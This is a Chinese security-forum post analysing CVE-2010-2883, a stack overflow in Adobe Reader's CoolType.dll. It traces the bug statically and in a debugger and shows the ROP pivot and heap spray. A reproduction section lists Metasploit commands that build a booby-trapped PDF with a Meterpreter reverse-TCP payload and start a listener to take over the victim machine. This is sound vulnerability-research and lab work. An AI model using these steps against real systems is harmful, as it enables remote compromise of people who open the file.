-
-
[分享]CVE-2010-2883漏洞分析与复现
-
发表于: 2021-8-18 17:41 14602
-
Adobe Reader是美国Adobe公司开发的非常流行的PDF文件阅读器。
pdf中带有TTF字体Smart INdependent Glyphlets (SING)表的UniqueName成员在CoolType.dll中执行一次strcat函数。
Adobe Reader 9.3.4之前的版本的CoolType.dll中存在基于栈的缓冲区溢出漏洞函数strcat,在执行时会将pdf文件的SING表的UniqueName字符串拷贝进栈中,并且不检查字符串长度。
Windows、Macintosh和UNIX系统下Adobe Reader 9.3.4 之前的版本。
官方的安全更新方案是更新软件。
(1) Kali中启动Metasploit生成木马文件
(2) 将PDF木马文件发送至靶机
(3) Metasploit开启shell监听会话,等待靶机打开pdf
(4) 靶机中运行pdf,系统会出现卡顿
(5) Metasploit获取shell会话,并用Meterpreter控制靶机
(6) 切换进程
这个漏洞利用过程,adobe reader会“卡壳”退出,所以需要快速切换到其他系统进程,这样会话才不会丢失。
程序将参数传入栈中时没有检查传入的参数是否大于预定的长度,导致栈中关键数据被参数覆盖
面向返回编程(英语:Return-Oriented Programming,缩写:ROP)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。
pdf文件中的SING表:
pdf文件中包含一个TTF字体文件,其包含一个SING表,以'SING'签名开始,使用PdfStreamDumper.exe查看恶意pdf文件,能够找到SING表的TableEntry:
TableEntry的结构是这样的:
其中offset成员指向ttf文件中SING表的起始地址,在这个pdf中时0x11c:
SING表的结构如下所示
根据结构计算,UniqueName成员应为SING表+0x10处,也就是图中所示
而这部分数据会被作为strcat()函数的第二个参数传入栈中了,直到出现字符串截断符0x11
strcat()函数位于Adobe Reader的安装目录中的CoolType.dll文件中,使用Ida打开改文件,shift+F12搜索“SING”字符串,发现在引用该字符串(0x0803DD74)下方不远处就能找到strcat()函数(0x0803DDAB):
按F5将其转为C代码查看,发现在strcat()处将一个指针变量+0x10的字符串入栈说明这个变量就是sing表的基地址,而+0x10位置便是UniqueName成员的地址。
下载AdobeReader 9.4.0提取CoolType.dll,定位到相同的位置
这里不是调用strcat,而是sub_813391E,跟进:
可以看到在使用strcat函数前增加了参数字符串长度判断
具体的漏洞函数功能、触发条件、源代码分析
打开AdobeReader.exe,使用OD附加到进程,ctrl+G搜索“SING”字符串的地址0x0803DD74,设置断点。
按F9让pdf阅读器先运行初始化,然后打开用msf生成的恶意pdf文件(运行过程中出现卡顿和报错是正常现象,不需要理会),在“SING”字符串的地址不远处找到strcat函数的调用,设置断点
动态分析strcat函数之前这段代码,其功能是检查pdf中是否包含SING表,并解析SING表,获取其UniqueName成员:
让程序执行,并步过strcat这个函数,此时查看栈窗口:
返回地址已经被覆盖为0x4A82A714,查看该地址的反汇编窗口:
对应指令为pop esp;ret;
此处用到了ROP技术绕过DEP,执行这两条指令的作用是将栈中跳转地址的下一地址的内容(此处为0x0C0C0C0C)赋值给esp,产生的作用等同于 mov esp,0x0C0C0C0C;此时的esp被修改为0x0c0c0c0c,这时就将代码执行流引导至地址0x0C0C0C0C处
0x0C0C0C0C处是一个ROP链,这个链是在程序执行JavaScript时实现的HeapSpray而写入的,这个JavaScript的二进制数据也存在于pdf中,是精心构造出来的。
继续跟进ROP链,看到先后调用函数CreateFile 、CreateFileMapping、MapOfViewMap创建了文件iso88591:
使用memcpy函数将shellcode复制到了0x03F4000处:
更新Adobe Reader版本至高于9.4.0以上。
不打开来源不明的pdf
知乎:CVE-2010-2883 Adobe Reader 打开pdf电脑即刻中招
CSDN:CEV-2010-2883 Adobe Reader漏洞复现
第一次分析实际漏洞,文中有些知识点没有仔细分析,比如JavaScript实现的HeapSpary,还有ROP链将shellcode写入内存后的shellcode行为分析,还请大佬们不吝赐教
感谢有毒版主提供的模板,拿来吧你
搜索Adobe渗透模块
msf > search adobe_cooltype_sing
调用渗透模块
msf > use exploit
/
windows
/
fileformat
/
adobe_cooltype_sing
/
搜索Adobe渗透模块
msf > search adobe_cooltype_sing
调用渗透模块
msf > use exploit
/
windows
/
fileformat
/
adobe_cooltype_sing
/
调用meterpreter载荷,反向连接到渗透机
msf exploit(adobe_cooltype_sing) >
set
payload windows
/
meterpreter
/
reverse_tcp
设置Kali Linux的IP地址
msf exploit(adobe_cooltype_sing) >
set
LHOST
192.168
.
44.153
设置本地监听端口
msf exploit(adobe_cooltype_sing) >
set
LPORT
8888
设置PDF文件名称
msf exploit(adobe_cooltype_sing) >
set
FILENAME PINGINGLAB.pdf
生成PDF文件
msf exploit(adobe_cooltype_sing) > exploit
调用meterpreter载荷,反向连接到渗透机
msf exploit(adobe_cooltype_sing) >
set
payload windows
/
meterpreter
/
reverse_tcp
设置Kali Linux的IP地址
msf exploit(adobe_cooltype_sing) >
set
LHOST
192.168
.
44.153
设置本地监听端口
msf exploit(adobe_cooltype_sing) >
set
LPORT
8888
设置PDF文件名称
msf exploit(adobe_cooltype_sing) >
set
FILENAME PINGINGLAB.pdf
生成PDF文件
msf exploit(adobe_cooltype_sing) > exploit
使用handler监听模块
msf > use exploit
/
multi
/
handler
回弹一个tcp连接
msf exploit(handler) >
set
payload windows
/
meterpreter
/
reverse_tcp
设置监听IP地址(跟PDF木马文件一致)
msf exploit(handler) >
set
LHOST
192.168
.
44.153
设置监听的端口(跟PDF木马文件一致)
msf exploit(handler) >
set
LPORT
8888
开启监听
msf exploit(handler) > exploit
使用handler监听模块
msf > use exploit
/
multi
/
handler
回弹一个tcp连接
msf exploit(handler) >
set
payload windows
/
meterpreter
/
reverse_tcp
设置监听IP地址(跟PDF木马文件一致)
msf exploit(handler) >
set
LHOST
192.168
.
44.153
设置监听的端口(跟PDF木马文件一致)
msf exploit(handler) >
set
LPORT
8888
开启监听
msf exploit(handler) > exploit
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课